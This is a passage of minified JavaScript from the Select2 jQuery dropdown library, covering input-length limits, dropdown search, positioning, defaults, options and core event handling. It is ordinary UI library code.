u=o[a];if(e.inArray(u,s)===-1){a++;continue}var c=o.substr(0,a);var f=e.extend({},n,{term:c});var d=l(f);if(d==null){a++;continue}r(d);o=o.substr(a+1)||"";a=0}return{term:o}};return t}));n.define("select2/data/minimumInputLength",[],(function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength");e.call(this,t,n)}e.prototype.query=function(e,t,n){t.term=t.term||"";if(t.term.length<this.minimumInputLength){this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}});return}e.call(this,t,n)};return e}));n.define("select2/data/maximumInputLength",[],(function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength");e.call(this,t,n)}e.prototype.query=function(e,t,n){t.term=t.term||"";if(this.maximumInputLength>0&&t.term.length>this.maximumInputLength){this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}});return}e.call(this,t,n)};return e}));n.define("select2/data/maximumSelectionLength",[],(function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength");e.call(this,t,n)}e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n);t.on("select",(function(){i._checkIfMaximumSelected()}))};e.prototype.query=function(e,t,n){var i=this;this._checkIfMaximumSelected((function(){e.call(i,t,n)}))};e.prototype._checkIfMaximumSelected=function(e,t){var n=this;this.current((function(e){var i=e!=null?e.length:0;if(n.maximumSelectionLength>0&&i>=n.maximumSelectionLength){n.trigger("results:message",{message:"maximumSelected",args:{maximum:n.maximumSelectionLength}});return}if(t){t()}}))};return e}));n.define("select2/dropdown",["jquery","./utils"],(function(e,t){function n(e,t){this.$element=e;this.options=t;n.__super__.constructor.call(this)}t.Extend(n,t.Observable);n.prototype.render=function(){var t=e('<span class="select2-dropdown">'+'<span class="select2-results"></span>'+"</span>");t.attr("dir",this.options.get("dir"));this.$dropdown=t;return t};n.prototype.bind=function(){};n.prototype.position=function(e,t){};n.prototype.destroy=function(){this.$dropdown.remove()};return n}));n.define("select2/dropdown/search",["jquery","../utils"],(function(e,t){function n(){}n.prototype.render=function(t){var n=t.call(this);var i=e('<span class="select2-search select2-search--dropdown">'+'<input class="select2-search__field" type="search" tabindex="-1"'+' autocomplete="off" autocorrect="off" autocapitalize="none"'+' spellcheck="false" role="searchbox" aria-autocomplete="list" />'+"</span>");this.$searchContainer=i;this.$search=i.find("input");n.prepend(i);return n};n.prototype.bind=function(t,n,i){var r=this;var s=n.id+"-results";t.call(this,n,i);this.$search.on("keydown",(function(e){r.trigger("keypress",e);r._keyUpPrevented=e.isDefaultPrevented()}));this.$search.on("input",(function(t){e(this).off("keyup")}));this.$search.on("keyup input",(function(e){r.handleSearch(e)}));n.on("open",(function(){r.$search.attr("tabindex",0);r.$search.attr("aria-controls",s);r.$search.trigger("focus");window.setTimeout((function(){r.$search.trigger("focus")}),0)}));n.on("close",(function(){r.$search.attr("tabindex",-1);r.$search.removeAttr("aria-controls");r.$search.removeAttr("aria-activedescendant");r.$search.val("");r.$search.trigger("blur")}));n.on("focus",(function(){if(!n.isOpen()){r.$search.trigger("focus")}}));n.on("results:all",(function(e){if(e.query.term==null||e.query.term===""){var t=r.showSearch(e);if(t){r.$searchContainer.removeClass("select2-search--hide")}else{r.$searchContainer.addClass("select2-search--hide")}}}));n.on("results:focus",(function(e){if(e.data._resultId){r.$search.attr("aria-activedescendant",e.data._resultId)}else{r.$search.removeAttr("aria-activedescendant")}}))};n.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=false};n.prototype.showSearch=function(e,t){return true};return n}));n.define("select2/dropdown/hidePlaceholder",[],(function(){function e(e,t,n,i){this.placeholder=this.normalizePlaceholder(n.get("placeholder"));e.call(this,t,n,i)}e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results);e.call(this,t)};e.prototype.normalizePlaceholder=function(e,t){if(typeof t==="string"){t={id:"",text:t}}return t};e.prototype.removePlaceholder=function(e,t){var n=t.slice(0);for(var i=t.length-1;i>=0;i--){var r=t[i];if(this.placeholder.id===r.id){n.splice(i,1)}}return n};return e}));n.define("select2/dropdown/infiniteScroll",["jquery"],(function(e){function t(e,t,n,i){this.lastParams={};e.call(this,t,n,i);this.$loadingMore=this.createLoadingMore();this.loading=false}t.prototype.append=function(e,t){this.$loadingMore.remove();this.loading=false;e.call(this,t);if(this.showLoadingMore(t)){this.$results.append(this.$loadingMore);this.loadMoreIfNeeded()}};t.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n);t.on("query",(function(e){i.lastParams=e;i.loading=true}));t.on("query:append",(function(e){i.lastParams=e;i.loading=true}));this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))};t.prototype.loadMoreIfNeeded=function(){var t=e.contains(document.documentElement,this.$loadingMore[0]);if(this.loading||!t){return}var n=this.$results.offset().top+this.$results.outerHeight(false);var i=this.$loadingMore.offset().top+this.$loadingMore.outerHeight(false);if(n+50>=i){this.loadMore()}};t.prototype.loadMore=function(){this.loading=true;var t=e.extend({},{page:1},this.lastParams);t.page++;this.trigger("query:append",t)};t.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more};t.prototype.createLoadingMore=function(){var t=e("<li "+'class="select2-results__option select2-results__option--load-more"'+'role="option" aria-disabled="true"></li>');var n=this.options.get("translations").get("loadingMore");t.html(n(this.lastParams));return t};return t}));n.define("select2/dropdown/attachBody",["jquery","../utils"],(function(e,t){function n(t,n,i){this.$dropdownParent=e(i.get("dropdownParent")||document.body);t.call(this,n,i)}n.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n);t.on("open",(function(){i._showDropdown();i._attachPositioningHandler(t);i._bindContainerResultHandlers(t)}));t.on("close",(function(){i._hideDropdown();i._detachPositioningHandler(t)}));this.$dropdownContainer.on("mousedown",(function(e){e.stopPropagation()}))};n.prototype.destroy=function(e){e.call(this);this.$dropdownContainer.remove()};n.prototype.position=function(e,t,n){t.attr("class",n.attr("class"));t.removeClass("select2");t.addClass("select2-container--open");t.css({position:"absolute",top:-999999});this.$container=n};n.prototype.render=function(t){var n=e("<span></span>");var i=t.call(this);n.append(i);this.$dropdownContainer=n;return n};n.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()};n.prototype._bindContainerResultHandlers=function(e,t){if(this._containerResultsHandlersBound){return}var n=this;t.on("results:all",(function(){n._positionDropdown();n._resizeDropdown()}));t.on("results:append",(function(){n._positionDropdown();n._resizeDropdown()}));t.on("results:message",(function(){n._positionDropdown();n._resizeDropdown()}));t.on("select",(function(){n._positionDropdown();n._resizeDropdown()}));t.on("unselect",(function(){n._positionDropdown();n._resizeDropdown()}));this._containerResultsHandlersBound=true};n.prototype._attachPositioningHandler=function(n,i){var r=this;var s="scroll.select2."+i.id;var o="resize.select2."+i.id;var a="orientationchange.select2."+i.id;var l=this.$container.parents().filter(t.hasScroll);l.each((function(){t.StoreData(this,"select2-scroll-position",{x:e(this).scrollLeft(),y:e(this).scrollTop()})}));l.on(s,(function(n){var i=t.GetData(this,"select2-scroll-position");e(this).scrollTop(i.y)}));e(window).on(s+" "+o+" "+a,(function(e){r._positionDropdown();r._resizeDropdown()}))};n.prototype._detachPositioningHandler=function(n,i){var r="scroll.select2."+i.id;var s="resize.select2."+i.id;var o="orientationchange.select2."+i.id;var a=this.$container.parents().filter(t.hasScroll);a.off(r);e(window).off(r+" "+s+" "+o)};n.prototype._positionDropdown=function(){var t=e(window);var n=this.$dropdown.hasClass("select2-dropdown--above");var i=this.$dropdown.hasClass("select2-dropdown--below");var r=null;var s=this.$container.offset();s.bottom=s.top+this.$container.outerHeight(false);var o={height:this.$container.outerHeight(false)};o.top=s.top;o.bottom=s.top+o.height;var a={height:this.$dropdown.outerHeight(false)};var l={top:t.scrollTop(),bottom:t.scrollTop()+t.height()};var u=l.top<s.top-a.height;var c=l.bottom>s.bottom+a.height;var f={left:s.left,top:o.bottom};var d=this.$dropdownParent;if(d.css("position")==="static"){d=d.offsetParent()}var h={top:0,left:0};if(e.contains(document.body,d[0])||d[0].isConnected){h=d.offset()}f.top-=h.top;f.left-=h.left;if(!n&&!i){r="below"}if(!c&&u&&!n){r="above"}else if(!u&&c&&n){r="below"}if(r=="above"||n&&r!=="below"){f.top=o.top-h.top-a.height}if(r!=null){this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+r);this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+r)}this.$dropdownContainer.css(f)};n.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(false)+"px"};if(this.options.get("dropdownAutoWidth")){e.minWidth=e.width;e.position="relative";e.width="auto"}this.$dropdown.css(e)};n.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent);this._positionDropdown();this._resizeDropdown()};return n}));n.define("select2/dropdown/minimumResultsForSearch",[],(function(){function e(t){var n=0;for(var i=0;i<t.length;i++){var r=t[i];if(r.children){n+=e(r.children)}else{n++}}return n}function t(e,t,n,i){this.minimumResultsForSearch=n.get("minimumResultsForSearch");if(this.minimumResultsForSearch<0){this.minimumResultsForSearch=Infinity}e.call(this,t,n,i)}t.prototype.showSearch=function(t,n){if(e(n.data.results)<this.minimumResultsForSearch){return false}return t.call(this,n)};return t}));n.define("select2/dropdown/selectOnClose",["../utils"],(function(e){function t(){}t.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n);t.on("close",(function(e){i._handleSelectOnClose(e)}))};t.prototype._handleSelectOnClose=function(t,n){if(n&&n.originalSelect2Event!=null){var i=n.originalSelect2Event;if(i._type==="select"||i._type==="unselect"){return}}var r=this.getHighlightedResults();if(r.length<1){return}var s=e.GetData(r[0],"data");if(s.element!=null&&s.element.selected||s.element==null&&s.selected){return}this.trigger("select",{data:s})};return t}));n.define("select2/dropdown/closeOnSelect",[],(function(){function e(){}e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n);t.on("select",(function(e){i._selectTriggered(e)}));t.on("unselect",(function(e){i._selectTriggered(e)}))};e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;if(n&&(n.ctrlKey||n.metaKey)){return}this.trigger("close",{originalEvent:n,originalSelect2Event:t})};return e}));n.define("select2/i18n/en",[],(function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum;var n="Please delete "+t+" character";if(t!=1){n+="s"}return n},inputTooShort:function(e){var t=e.minimum-e.input.length;var n="Please enter "+t+" or more characters";return n},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";if(e.maximum!=1){t+="s"}return t},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}));n.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],(function(e,t,n,i,r,s,o,a,l,u,c,f,d,h,p,g,v,m,y,b,_,w,x,k,C,E,A,T,S){function j(){this.reset()}j.prototype.apply=function(c){c=e.extend(true,{},this.defaults,c);if(c.dataAdapter==null){if(c.ajax!=null){c.dataAdapter=p}else if(c.data!=null){c.dataAdapter=h}else{c.dataAdapter=d}if(c.minimumInputLength>0){c.dataAdapter=u.Decorate(c.dataAdapter,m)}if(c.maximumInputLength>0){c.dataAdapter=u.Decorate(c.dataAdapter,y)}if(c.maximumSelectionLength>0){c.dataAdapter=u.Decorate(c.dataAdapter,b)}if(c.tags){c.dataAdapter=u.Decorate(c.dataAdapter,g)}if(c.tokenSeparators!=null||c.tokenizer!=null){c.dataAdapter=u.Decorate(c.dataAdapter,v)}if(c.query!=null){var f=t(c.amdBase+"compat/query");c.dataAdapter=u.Decorate(c.dataAdapter,f)}if(c.initSelection!=null){var S=t(c.amdBase+"compat/initSelection");c.dataAdapter=u.Decorate(c.dataAdapter,S)}}if(c.resultsAdapter==null){c.resultsAdapter=n;if(c.ajax!=null){c.resultsAdapter=u.Decorate(c.resultsAdapter,k)}if(c.placeholder!=null){c.resultsAdapter=u.Decorate(c.resultsAdapter,x)}if(c.selectOnClose){c.resultsAdapter=u.Decorate(c.resultsAdapter,A)}}if(c.dropdownAdapter==null){if(c.multiple){c.dropdownAdapter=_}else{var j=u.Decorate(_,w);c.dropdownAdapter=j}if(c.minimumResultsForSearch!==0){c.dropdownAdapter=u.Decorate(c.dropdownAdapter,E)}if(c.closeOnSelect){c.dropdownAdapter=u.Decorate(c.dropdownAdapter,T)}if(c.dropdownCssClass!=null||c.dropdownCss!=null||c.adaptDropdownCssClass!=null){var D=t(c.amdBase+"compat/dropdownCss");c.dropdownAdapter=u.Decorate(c.dropdownAdapter,D)}c.dropdownAdapter=u.Decorate(c.dropdownAdapter,C)}if(c.selectionAdapter==null){if(c.multiple){c.selectionAdapter=r}else{c.selectionAdapter=i}if(c.placeholder!=null){c.selectionAdapter=u.Decorate(c.selectionAdapter,s)}if(c.allowClear){c.selectionAdapter=u.Decorate(c.selectionAdapter,o)}if(c.multiple){c.selectionAdapter=u.Decorate(c.selectionAdapter,a)}if(c.containerCssClass!=null||c.containerCss!=null||c.adaptContainerCssClass!=null){var O=t(c.amdBase+"compat/containerCss");c.selectionAdapter=u.Decorate(c.selectionAdapter,O)}c.selectionAdapter=u.Decorate(c.selectionAdapter,l)}c.language=this._resolveLanguage(c.language);c.language.push("en");var N=[];for(var P=0;P<c.language.length;P++){var L=c.language[P];if(N.indexOf(L)===-1){N.push(L)}}c.language=N;c.translations=this._processTranslations(c.language,c.debug);return c};j.prototype.reset=function(){function t(e){function t(e){return f[e]||e}return e.replace(/[^\u0000-\u007E]/g,t)}function n(i,r){if(e.trim(i.term)===""){return r}if(r.children&&r.children.length>0){var s=e.extend(true,{},r);for(var o=r.children.length-1;o>=0;o--){var a=r.children[o];var l=n(i,a);if(l==null){s.children.splice(o,1)}}if(s.children.length>0){return s}return n(i,s)}var u=t(r.text).toUpperCase();var c=t(i.term).toUpperCase();if(u.indexOf(c)>-1){return r}return null}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:true,debug:false,dropdownAutoWidth:false,escapeMarkup:u.escapeMarkup,language:{},matcher:n,minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:false,scrollAfterSelect:false,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}};j.prototype.applyFromElement=function(e,t){var n=e.language;var i=this.defaults.language;var r=t.prop("lang");var s=t.closest("[lang]").prop("lang");var o=Array.prototype.concat.call(this._resolveLanguage(r),this._resolveLanguage(n),this._resolveLanguage(i),this._resolveLanguage(s));e.language=o;return e};j.prototype._resolveLanguage=function(t){if(!t){return[]}if(e.isEmptyObject(t)){return[]}if(e.isPlainObject(t)){return[t]}var n;if(!e.isArray(t)){n=[t]}else{n=t}var i=[];for(var r=0;r<n.length;r++){i.push(n[r]);if(typeof n[r]==="string"&&n[r].indexOf("-")>0){var s=n[r].split("-");var o=s[0];i.push(o)}}return i};j.prototype._processTranslations=function(t,n){var i=new c;for(var r=0;r<t.length;r++){var s=new c;var o=t[r];if(typeof o==="string"){try{s=c.loadPath(o)}catch(e){try{o=this.defaults.amdLanguageBase+o;s=c.loadPath(o)}catch(e){if(n&&window.console&&console.warn){console.warn('Select2: The language file for "'+o+'" could '+"not be automatically loaded. A fallback will be used instead.")}}}}else if(e.isPlainObject(o)){s=new c(o)}else{s=o}i.extend(s)}return i};j.prototype.set=function(t,n){var i=e.camelCase(t);var r={};r[i]=n;var s=u._convertData(r);e.extend(true,this.defaults,s)};var D=new j;return D}));n.define("select2/options",["require","jquery","./defaults","./utils"],(function(e,t,n,i){function r(t,r){this.options=t;if(r!=null){this.fromElement(r)}if(r!=null){this.options=n.applyFromElement(this.options,r)}this.options=n.apply(this.options);if(r&&r.is("input")){var s=e(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=i.Decorate(this.options.dataAdapter,s)}}r.prototype.fromElement=function(e){var n=["select2"];if(this.options.multiple==null){this.options.multiple=e.prop("multiple")}if(this.options.disabled==null){this.options.disabled=e.prop("disabled")}if(this.options.dir==null){if(e.prop("dir")){this.options.dir=e.prop("dir")}else if(e.closest("[dir]").prop("dir")){this.options.dir=e.closest("[dir]").prop("dir")}else{this.options.dir="ltr"}}e.prop("disabled",this.options.disabled);e.prop("multiple",this.options.multiple);if(i.GetData(e[0],"select2Tags")){if(this.options.debug&&window.console&&console.warn){console.warn("Select2: The `data-select2-tags` attribute has been changed to "+'use the `data-data` and `data-tags="true"` attributes and will be '+"removed in future versions of Select2.")}i.StoreData(e[0],"data",i.GetData(e[0],"select2Tags"));i.StoreData(e[0],"tags",true)}if(i.GetData(e[0],"ajaxUrl")){if(this.options.debug&&window.console&&console.warn){console.warn("Select2: The `data-ajax-url` attribute has been changed to "+"`data-ajax--url` and support for the old attribute will be removed"+" in future versions of Select2.")}e.attr("ajax--url",i.GetData(e[0],"ajaxUrl"));i.StoreData(e[0],"ajax-Url",i.GetData(e[0],"ajaxUrl"))}var r={};function s(e,t){return t.toUpperCase()}for(var o=0;o<e[0].attributes.length;o++){var a=e[0].attributes[o].name;var l="data-";if(a.substr(0,l.length)==l){var u=a.substring(l.length);var c=i.GetData(e[0],u);var f=u.replace(/-([a-z])/g,s);r[f]=c}}if(t.fn.jquery&&t.fn.jquery.substr(0,2)=="1."&&e[0].dataset){r=t.extend(true,{},e[0].dataset,r)}var d=t.extend(true,{},i.GetData(e[0]),r);d=i._convertData(d);for(var h in d){if(t.inArray(h,n)>-1){continue}if(t.isPlainObject(this.options[h])){t.extend(this.options[h],d[h])}else{this.options[h]=d[h]}}return this};r.prototype.get=function(e){return this.options[e]};r.prototype.set=function(e,t){this.options[e]=t};return r}));n.define("select2/core",["jquery","./options","./utils","./keys"],(function(e,t,n,i){var r=function(e,i){if(n.GetData(e[0],"select2")!=null){n.GetData(e[0],"select2").destroy()}this.$element=e;this.id=this._generateId(e);i=i||{};this.options=new t(i,e);r.__super__.constructor.call(this);var s=e.attr("tabindex")||0;n.StoreData(e[0],"old-tabindex",s);e.attr("tabindex","-1");var o=this.options.get("dataAdapter");this.dataAdapter=new o(e,this.options);var a=this.render();this._placeContainer(a);var l=this.options.get("selectionAdapter");this.selection=new l(e,this.options);this.$selection=this.selection.render();this.selection.position(this.$selection,a);var u=this.options.get("dropdownAdapter");this.dropdown=new u(e,this.options);this.$dropdown=this.dropdown.render();this.dropdown.position(this.$dropdown,a);var c=this.options.get("resultsAdapter");this.results=new c(e,this.options,this.dataAdapter);this.$results=this.results.render();this.results.position(this.$results,this.$dropdown);var f=this;this._bindAdapters();this._registerDomEvents();this._registerDataEvents();this._registerSelectionEvents();this._registerDropdownEvents();this._registerResultsEvents();this._registerEvents();this.dataAdapter.current((function(e){f.trigger("selection:update",{data:e})}));e.addClass("select2-hidden-accessible");e.attr("aria-hidden","true");this._syncAttributes();n.StoreData(e[0],"select2",this);e.data("select2",this)};n.Extend(r,n.Observable);r.prototype._generateId=function(e){var t="";if(e.attr("id")!=null){t=e.attr("id")}else if(e.attr("name")!=null){t=e.attr("name")+"-"+n.generateChars(2)}else{t=n.generateChars(4)}t=t.replace(/(:|\.|\[|\]|,)/g,"");t="select2-"+t;return t};r.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));if(t!=null){e.css("width",t)}};r.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if(t=="resolve"){var i=this._resolveWidth(e,"style");if(i!=null){return i}return this._resolveWidth(e,"element")}if(t=="element"){var r=e.outerWidth(false);if(r<=0){return"auto"}return r+"px"}if(t=="style"){var s=e.attr("style");if(typeof s!=="string"){return null}var o=s.split(";");for(var a=0,l=o.length;a<l;a=a+1){var u=o[a].replace(/\s/g,"");var c=u.match(n);if(c!==null&&c.length>=1){return c[1]}}return null}if(t=="computedstyle"){var f=window.getComputedStyle(e[0]);return f.width}return t};r.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container);this.selection.bind(this,this.$container);this.dropdown.bind(this,this.$container);this.results.bind(this,this.$container)};r.prototype._registerDomEvents=function(){var e=this;this.$element.on("change.select2",(function(){e.dataAdapter.current((function(t){e.trigger("selection:update",{data:t})}))}));this.$element.on("focus.select2",(function(t){e.trigger("focus",t)}));this._syncA=n.bind(this._syncAttributes,this);this._syncS=n.bind(this._syncSubtree,this);if(this.$element[0].attachEvent){this.$element[0].attachEvent("onpropertychange",this._syncA)}var t=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;if(t!=null){this._observer=new t((function(t){e._syncA();e._syncS(null,t)}));this._observer.observe(this.$element[0],{attributes:true,childList:true,subtree:false})}else if(this.$element[0].addEventListener){this.$element[0].addEventListener("DOMAttrModified",e._syncA,false);this.$element[0].addEventListener("DOMNodeInserted",e._syncS,false);this.$element[0].addEventListener("DOMNodeRemoved",e._syncS,false)}};r.prototype._registerDataEvents=function(){var e=this;this.dataAdapter.on("*",(function(t,n){e.trigger(t,n)}))};r.prototype._registerSelectionEvents=function(){var t=this;var n=["toggle","focus"];this.selection.on("toggle",(function(){t.toggleDropdown()}));this.selection.on("focus",(function(e){t.focus(e)}));this.selection.on("*",(function(i,r){if(e.inArray(i,n)!==-1){return}t.trigger(i,r)}))};r.prototype._registerDropdownEvents=function(){var e=this;this.dropdown.on("*",(function(t,n){e.trigger(t,n)}))};r.prototype._registerResultsEvents=function(){var e=this;this.results.on("*",(function(t,n){e.trigger(t,n)}))};r.prototype._registerEvents=function(){var e=this;this.on("open",(function(){e.$container.addClass("select2-container--open")}));this.on("close",(function(){e.$container.removeClass("select2-container--open")}));this.on("enable",(function(){e.$container.removeClass("select2-container--disabled")}));this.on("disable",(function(){e.$container.addClass("select2-container--disabled")}));this.on("blur",(function(){e.$container.removeClass("select2-container--focus")}));this.on("query",(function(t){if(!e.isOpen()){e.trigger("open",{})}this.dataAdapter.query(t,(function(n){e.trigger("results:all",{data:n,query:t})}))}));this.on("query:append",(function(t){this.dataAdapter.query(t,(function(n){e.trigger("results:append",{data:n,query:t})}))}));this.on("keypress",(function(t){var n=t.which;if(e.isOpen()){if(n===i.ESC||n===i.TAB||n===i.UP&&t.altKey){e.close(t);t.preventDefault()}else if(n===i.ENTER){e.trigger("results:select",{});t.preventDefault()}else if(n===i.SPACE&&t.ctrlKey){e.trigger("results:toggle",{});t.preventDefault()}else if(n===i.UP){e.trigger("results:previous",{});t.preventDefault()}else if(n===i.DOWN){e.trigger("results:next",{});t.preventDefault()}}else{if(n===i.ENTER||n===i.SPACE||n===i.DOWN&&t.altKey){e.open();t.preventDefault()}}}))};r.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled"));if(this.isDisabled()){if(this.isOpen()){this.close()}this.trigger("disable",{})}else{this.trigger("enable",{})}};r.prototype._isChangeMutation=function(t,n){var i=false;var r=this;if(t&&t.target&&(t.target.nodeName!=="OPTION"&&t.target.nodeName!=="OPTGROUP")){return}if(!n){i=true}else if(n.addedNodes&&n.addedNodes.length>0){for(var s=0;s<n.addedNodes.length;s++){var o=n.addedNodes[s];if(o.selected){i=true}}}else if(n.removedNodes&&n.removedNodes.length>0){i=true}else if(e.isArray(n)){e.each(n,(function(e,t){if(r._isChangeMutation(e,t)){i=true;return false}}))}return i};r.prototype._syncSubtree=function(e,t){var n=this._isChangeMutation(e,t);var i=this;if(n){this.dataAdapter.current((function(e){i.trigger("selection:update",{data:e})}))}};r.prototype.trigger=function(e,t){var n=r.__super__.trigger;var i={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(t===undefined){t={}}if(e in i){var s=i[e];var o={prevented:false,name:e,args:t};n.call(this,s,o);if(o.prevented){t.prevented=true;return}}n.call(this,e,t)};r.prototype.toggleDropdown=function(){if(this.isDisabled()){return}if(this.isOpen()){this.close()}else{this.open()}};r.prototype.open=function(){if(this.isOpen()){return}if(this.isDisabled()){return}this.trigger("query",{})};r.prototype.close=function(e){if(!this.isOpen()){return}this.trigger("close",{originalEvent:e})};r.prototype.isEnabled=function(){return!this.isDisabled()};r.prototype.isDisabled=function(){return this.options.get("disabled")};r.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")};r.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")};r.prototype.focus=function(e){if(this.hasFocus()){return}this.$container.addClass("select2-container--focus");this.trigger("focus",{})};r.prototype.enable=function(e){if(this.options.get("debug")&&window.console&&console.warn){console.warn('Select2: The `select2("enable")` method has been deprecated and will'+' be removed in later Select2 versions. Use $element.prop("disabled")'+" instead.")}if(e==null||e.length===0){e=[true]}var t=!e[0];this.$element.prop("disabled",t)};r.prototype.data=function(){if(this.options.get("debug")&&arguments.length>0&&window.console&&console.warn){console.warn('Select2: Data can no longer be set using `select2("data")`. You '+"should consider setting the value instead using `$element.val()`.")}var e=[];this.dataAdapter.current((function(t){e=t}));return e};r.prototype.val=function(t){if(this.options.get("debug")&&window.console&&console.warn){console.warn('Select2: The `select2("val")` method has been deprecated and will be'+" removed in later Select2 versions. Use $element.val() instead.")}if(t==null||t.length===0){return this.$element.val()}var n=t[0];if(e.isArray(n)){n=e.map(n,(function(e){return e.toString()}))}this.$element.val(n).trigger("input").trigger("change")};r.prototype.destroy=function(){this.$container.remove();if(this.$element[0].detachEvent){this.$element[0].detachEvent("onpropertychange",this._syncA)}if(this._observer!=null){this._observer.disconnect();this._observer=null}else if(this.$element[0].removeEventListener){this.$element[0].removeEventListener("DOMAttrModified",this._syncA,false);this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,false);this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,false)}this._syncA=null;this._syncS=null;this.$element.off(".select2");this.$element.attr("tabindex",n.GetData(this.$element[0],"old-tabindex"));this.$element.removeClass("select2-hidden-accessible");this.$element.attr("aria-hidden","false");n.RemoveData(this.$element[0]);this.$element.removeData("select2");this.dataAdapter.destroy();this.selection.destroy();this.dropdown.destroy();this.results.destroy();this.dataAdapter=null;this.selection=null;this.dropdown=null;this.results=null};r.prototype.render=function(){var t=e('<span class="select2 select2-container">'+'<span class="selection"></span>'+'<span class="dropdown-wrapper" aria-hidden="true"></span>'+"</span>");t.attr("dir",this.options.get("dir"));this.$container=t;this.$container.addClass("select2-container--"+this.options.get("theme"));n.StoreData(t[0],"element",this.$element);return t};return r}));n.define("select2/compat/utils",["jquery"],(function(e){function t(t,n,i){var r,s=[],o;r=e.trim(t.attr("class"));if(r){r=""+r;e(r.split(/\s+/)).each((function(){if(this.indexOf("select2-")===0){s.push(this)}}))}r=e.trim(n.attr("class"));if(r){r=""+r;e(r.split(/\s+/)).each((function(){if(this.indexOf("select2-")!==0){o=i(this);if(o!=null){s.push(o)}}}))}t.attr("class",s.join(" "))}return{syncCssClasses:t}}));n.define("select2/compat/containerCss",["jquery","./utils"],(function(e,t){function n(e){return null}function i(){}i.prototype.render=function(i){var r=i.call(this);var s=this.options.get("containerCssClass")||"";if(e.isFunction(s)){s=s(this.$element)}var o=this.options.get("adaptContainerCssClass");o=o||n;if(s.indexOf(":all:")!==-1){s=s.replace(":all:","");var a=o;o=function(e){var t=a(e);if(t!=null){return t+" "+e}return e}}var l=this.options.get("containerCss")||{};if(e.isFunction(l)){l=l(this.$element)}t.syncCssClasses(r,this.$element,o);r.css(l);r.addClass(s);return r};return i}));n.define("select2/compat/dropdownCss",["jquery","./utils"],(function(e,t){function n(e){return null}function i(){}i.prototype.render=function(i){var r=i.call(this);var s=this.options.get("dropdownCssClass")||"";if(e.isFunction(s)){s=s(this.$element)}var o=this.options.get("adaptDropdownCssClass");o=o||n;if(s.indexOf(":all:")!==-1){s=s.replace(":all:","");var a=o;o=function(e){var t=a(e);if(t!=null){return t+" "+e}return e}}var l=this.options.get("dropdownCss")||{};if(e.isFunction(l)){l=l(this.$element)}t.syncCssClasses(r,this.$element,o);r.css(l);r.addClass(s);return r};return i}));n.define("select2/compat/initSelection",["jquery"],(function(e){function t(e,t,n){if(n.get("debug")&&window.console&&console.warn){console.warn("Select2: The `initSelection` option has been deprecated in favor"+" of a custom data adapter that overrides the `current` method. "+"This method is now called multiple times instead of a single "+"time when the instance is initialized. Support will be removed "+"for the `initSelection` option in future versions of Select2")}this.initSelection=n.get("initSelection");this._isInitialized=false;e.call(this,t,n)}t.prototype.current=function(t,n){var i=this;if(this._isInitialized){t.call(this,n);return}this.initSelection.call(null,this.$element,(function(t){i._isInitialized=true;if(!e.isArray(t)){t=[t]}n(t)}))};return t}));n.define("select2/compat/inputData",["jquery","../utils"],(function(e,t){function n(e,t,n){this._currentData=[];this._valueSeparator=n.get("valueSeparator")||",";if(t.prop("type")==="hidden"){if(n.get("debug")&&console&&console.warn){console.warn("Select2: Using a hidden input with Select2 is no longer "+"supported and may stop working in the future. It is recommended "+"to use a `<select>` element instead.")}}e.call(this,t,n)}n.prototype.current=function(t,n){function i(t,n){var r=[];if(t.selected||e.inArray(t.id,n)!==-1){t.selected=true;r.push(t)}else{t.selected=false}if(t.children){r.push.apply(r,i(t.children,n))}return r}var r=[];for(var s=0;s<this._currentData.length;s++){var 